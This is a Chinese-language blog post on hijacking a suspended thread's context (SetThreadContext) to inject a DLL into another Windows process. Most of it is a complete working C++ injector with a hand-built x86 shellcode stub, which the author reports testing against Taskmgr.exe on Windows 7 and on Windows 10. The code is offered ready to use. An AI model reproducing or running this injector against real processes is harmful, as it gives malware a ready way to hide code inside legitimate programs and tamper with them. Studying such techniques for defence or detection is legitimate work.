掛起目標線程注入(SetThreadContext)--Ring3注入

這段時間一直在複習之前的知識點,今天看到了這種注入,記錄一下,與諸位分享。
預備知識點:
當一個正在執行的線程被掛起之後,系統會保存此時線程的上下背景文(Context),當我們把線程恢復執行的時候,系統會把之前的Context恢復,使線程從Context.Eip處開始執行。
注入思路:
當我們準備注入一個目標進程的時候,找到一個進程中的線程,調用SuspendThread將其掛起,然後向修改Context.Eip的處地址爲我們存放ShellCode的地址。之後手動恢復線程執行,線程會執行我們的ShellCode,我們只需要在ShellCode
中加載dll就完事兒了。
注意事項:
需要把線程掛起前的Eip保存下來,以便執行完ShellCode跳回原線程代碼執行,防止注入之後進程奔潰。
我此處提供的代碼是測試了Win7 x86(Taskmgr.exe)和Win10 下的一個x86進程。在x64下,思路是一致的,需要更換ShellCode廢話不說,下面附上代碼:

#include"SuspendInject.h"
#include"Helper.h"



#ifdef UNICODE
LPFN_LOADLIBRARYW __LoadLibrary = NULL;
#else
LPFN_LOADLIBRARYA __LoadLibrary = NULL;
#endif

#ifndef _WIN64

unsigned char __ShellCode[] =
{
	0x68, 0x00, 0x00, 0x00, 0x00,	// [0]push 0xxxxxxxxx
	0x9c,							// [5]pushfd
	0x60,							// [6]pushad
	0x68, 0x00, 0x00, 0x00, 0x00,	// [7]push 0xxxxxxxxx
	0xb8, 0x00, 0x00, 0x00, 0x00,	// [12]mov eax, 0xxxxxxxxx
	0xff, 0xd0,						// [17]call eax
	0x61,							// [19]popad
	0x9d,							// [20]popfd
	0xc3							// [21]ret
};

int _tmain()
{
	//控制檯識別中文
	setlocale(LC_ALL, "Chinese-simplified");

	TCHAR ProcessImageName[MAX_PATH] = { 0 };//保存進程名字

	TCHAR CurrentFullPath[MAX_PATH] = { 0 }; //當前進程的完整路徑

	TCHAR TargetProcessFullPath[MAX_PATH] = { 0 };//目標進程的完整路徑
	ULONG_PTR TargetProcessPathLength = MAX_PATH;

	ULONG ProcessId = 0;//目標進程Id

	CONTEXT ThreadContext; //保存線程上下文結構
	DWORD   OldEip;//保存原Eip



	HANDLE ProcessHandle = INVALID_HANDLE_VALUE;//進程句柄
	LPVOID VirtualAddress = NULL;

	SIZE_T ReturnLength = 0;

	BOOL  IsOk = FALSE;

	//注入的啓動程序和目標程序的位數
	BOOL  SourceIsWow64 = FALSE;
	BOOL  TargetIsWow64 = FALSE;


	_tprintf(_T("輸入一個進程ImageName\r\n"));


	TCHAR RcceiveChar = _gettchar();//接受字符串
	int i = 0;//用來偏移ProcessName字符數組
	while (RcceiveChar != '\n')
	{
		ProcessImageName[i++] = RcceiveChar;
		RcceiveChar = _gettchar();
		//ProcessImageName = 0x000000db28fceed0 "Taskmgr.exe"
	}

	GetCurrentDirectory(MAX_PATH, CurrentFullPath);//保存當前進程的完整路徑

	IsWow64Process(GetCurrentProcess(), &SourceIsWow64);//得到當前進程位數
	//SourceIsWow64 = 0x00000000
	ProcessId = KtGetProcessIdentify(ProcessImageName);//通過進程名得到進程Id
	//ProcessId = 0x00003aa0
	if (ProcessId == 0)
	{
		return 0;
	}
	IsOk = KtGetProcessFullPath(TargetProcessFullPath,
		&TargetProcessPathLength, ProcessId, FALSE);

	if (IsOk == FALSE)
	{
		return 0;
	}
	//判斷目標進程位數
	KtIsWow64Process(TargetProcessFullPath, &TargetIsWow64);
	//TargetIsWow64 = 0x00000000
	if (SourceIsWow64 == TRUE && TargetIsWow64 == TRUE)
	{
		_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
	}
	else if (SourceIsWow64 == FALSE && TargetIsWow64 == FALSE)
	{
		_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
	}
	//_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));//Win 7 32位測試用



	ProcessHandle = KtOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
	ULONG BufferLength = 0;
	//在目標進程空間中申請內存
	BufferLength = (_tcslen(CurrentFullPath) + 1) * sizeof(TCHAR);

	//目標進程空間中申請內存存放Dll完整路徑
	VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, BufferLength, MEM_COMMIT, PAGE_READWRITE);

	if (VirtualAddress == NULL)
	{
		KtCloseHandle(ProcessHandle);
		return 0;
	}
	//目標進程申請內存--存放ShellCode
	PVOID ShellCode = VirtualAllocEx(ProcessHandle, NULL, 
		sizeof(__ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (ShellCode == NULL)
	{
		KtCloseHandle(ProcessHandle);
		return 0;
	}


	//目標進程空間中寫入數據
	if (KtProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, CurrentFullPath, BufferLength, &ReturnLength) == FALSE)
	{
		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
		KtCloseHandle(ProcessHandle);
		return 0;
	}


	//獲得目標進程下的所有線程
	vector<HANDLE> ThreadId{};
	if (KtGetThreadIdentify((HANDLE)ProcessId, ThreadId) == FALSE)
	{
		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
		KtCloseHandle(ProcessHandle);
		return 0;
	}


	HMODULE  Kernel32ModuleBase = NULL;


	Kernel32ModuleBase = GetModuleHandle(_T("KERNEL32.DLL"));
	//Kernel32ModuleBase = kernel32.dll!0x00007ffe83fa0000 (加載符號以獲取其他信息) {unused=0x00905a4d }
	if (Kernel32ModuleBase == NULL)
	{
		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
		KtCloseHandle(ProcessHandle);
		return 0;
	}

#ifdef UNICODE
	__LoadLibrary = (LPFN_LOADLIBRARYW)GetProcAddress(Kernel32ModuleBase, "LoadLibraryW");
#else
	__LoadLibrary = (LPFN_LOADLIBRARYA)GetProcAddress(Kernel32ModuleBase, "LoadLibraryA");
#endif

	if (__LoadLibrary == NULL) {

		KtCloseHandle(ProcessHandle);
		return 0;
	}
	HANDLE ThreadHandle = KtOpenThread(
		(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME),
		FALSE, ThreadId[0]);
	if (ThreadHandle)
	{
		SuspendThread(ThreadHandle);
	}
	else
	{
		CloseHandle(ThreadHandle);
	}
	//設置線程上下文的各種屬性與Eip地址
	ThreadContext.ContextFlags = CONTEXT_CONTROL;
	GetThreadContext(ThreadHandle, &ThreadContext);
	OldEip = ThreadContext.Eip;
	ThreadContext.Eip = (DWORD)ShellCode;//動態申請出來的存放ShellCode的地方
	ThreadContext.ContextFlags = CONTEXT_CONTROL;

	DWORD OldProtect;
	VirtualProtect(__ShellCode, sizeof(__ShellCode), PAGE_EXECUTE_READWRITE, &OldProtect);
	
	memcpy((void *)((unsigned long)__ShellCode + 1), &OldEip, 4);
	memcpy((void *)((unsigned long)__ShellCode + 8), &VirtualAddress, 4);
	memcpy((void *)((unsigned long)__ShellCode + 13), &__LoadLibrary, 4);
	
	VirtualProtect(__ShellCode, sizeof(__ShellCode), OldProtect, &OldProtect);
	WriteProcessMemory(ProcessHandle, ShellCode, __ShellCode, sizeof(__ShellCode), NULL);
	SetThreadContext(ThreadHandle, &ThreadContext);

	ResumeThread(ThreadHandle);
	printf("Input AnyKey to Exit\r");
	getchar();
	ThreadId.~vector();
	if (VirtualAddress != NULL)
	{
		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
		VirtualAddress = NULL;
	}
	if (ShellCode != NULL)
	{
		VirtualFreeEx(ProcessHandle, ShellCode, sizeof(__ShellCode), MEM_RELEASE);
		ShellCode = NULL;
	}
	if (ThreadHandle)
	{
		KtCloseHandle(ThreadHandle);
		ThreadHandle = NULL;
	}
	if (ProcessHandle)
	{
		KtCloseHandle(ProcessHandle);
		ProcessHandle = NULL;
	}
	return 0;
}


#else
#endif

Win7下測試截圖:
在這裏插入圖片描述
今日520,送各位兄弟一句古詩助助興:
“願我如星君如月,夜夜流光相皎潔。”–范成大
雖現實殘酷,夜晚很黑,但最終陽光會灑向大地,一切都會好起來的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章